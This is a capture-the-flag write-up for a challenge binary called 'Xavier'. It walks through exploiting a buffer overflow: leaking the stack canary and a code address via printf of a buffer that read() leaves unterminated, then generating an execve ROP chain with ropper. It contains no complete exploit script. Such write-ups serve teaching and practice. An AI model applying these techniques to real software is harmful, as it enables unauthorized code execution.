Rating:
# Xavier
## Assessment
Chall consists of an application that let's user write some data to the buffer, and print contents of the buffer back.
Writing part has a fairly obvious buffer overflow - user can request arbitrarily long writes.
Although checksec doesn't seem to detect canary:
```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
inspecting the binary reveals that canary is in fact present. This can be additionally verified by overflowing with garbage:
```
[1] Set Buf
[2] Print Buf
[3] Exit
> 1
How much? 420
According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible.
[1] Set Buf
[2] Print Buf
[3] Exit
> 3
Bye @,@ ~!*** stack smashing detected ***: terminated
[1] 35432 IOT instruction (core dumped) ./chall
```
So, although overwriting return address is straightforward enough, there's a canary and aslr that have to be defeated in order to mount succesfull attack.
## Leaks
Fortunetely leaking values from stack is possible, because:
- application enables user to print back the written buffer with `printf()`,
- data input uses `read()` which doesn't place any extra terminating null bytes in the buffer (on which `printf()` would stop).
So it seems like it should be enough to just write 0x28 bytes (which is the distance between buffer start and canary) and print the buffer to get the canary:
```
> 1
How much? 40
0123456789abcdef0123456789abcdef01234567
[1] Set Buf
[2] Print Buf
[3] Exit
> 2
0123456789abcdef0123456789abcdef01234567
```
That didn't work. As it turns out generated canaries always have least significant byte = 0 (note: I'm not that knowledgable how exactly canaries get generated, but I assume that's OS dependant).
That's easy to fix - just overwrite one byte more:
```
> 1
How much? 41
0123456789abcdef0123456789abcdef012345678
[1] Set Buf
[2] Print Buf
[3] Exit
> 2
0123456789abcdef0123456789abcdef012345678a��a\�0b�F�
```
And that's canary leaked.
The same technique can be used to fight aslr - just leak address of function that calls main (0x30 bytes below buffer):
```
> 1
How much? 48
0123456789abcdef0123456789abcdef0123456789abcdef
[1] Set Buf
[2] Print Buf
[3] Exit
> 2
0123456789abcdef0123456789abcdef0123456789abcdef0��j
```
Now with canary and address it should be possible to actually exploit the binary.
## Now what
Just return to system, right? Wrong, there's no system plt, and no libc in memory:
```
(gdb) info proc map
process 37097
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x7ffff7f0a000 0x7ffff7f0e000 0x4000 0x0 r--p [vvar]
0x7ffff7f0e000 0x7ffff7f10000 0x2000 0x0 r-xp [vdso]
0x7ffff7f10000 0x7ffff7f19000 0x9000 0x0 r--p chall
0x7ffff7f19000 0x7ffff7fcc000 0xb3000 0x9000 r-xp chall
0x7ffff7fcc000 0x7ffff7ff6000 0x2a000 0xbc000 r--p chall
0x7ffff7ff7000 0x7ffff7ffb000 0x4000 0xe6000 r--p chall
0x7ffff7ffb000 0x7ffff7ffe000 0x3000 0xea000 rw-p chall
0x7ffff7ffe000 0x7ffff8022000 0x24000 0x0 rw-p [heap]
0x7ffffffdd000 0x7ffffffff000 0x22000 0x0 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 --xp [vsyscall]
```
This means that application has to communicate with kernel directly - and attacker can rop that as well.
Easiest way to accomplish this is to generate the chain automatically with ropper:
```
ropper --file chall --chain execve
```
That might not produce an artisanal organic grass-fed rop-chain, but works good in the situation (if you never generated a rop-chain by hand and have spare 8 hours, try it out - it's certainly an interesting experience).
## That's it
Now just assemble all of the above into an exploit:
- overflow and read canary,
- overflow and read executable address (note: it has to be in that order, overflowing to read address overwrites canary),
- overwrite return with generated rop-chain, making sure to also write canary at the correct place
- exit, causing the chain to actually execute.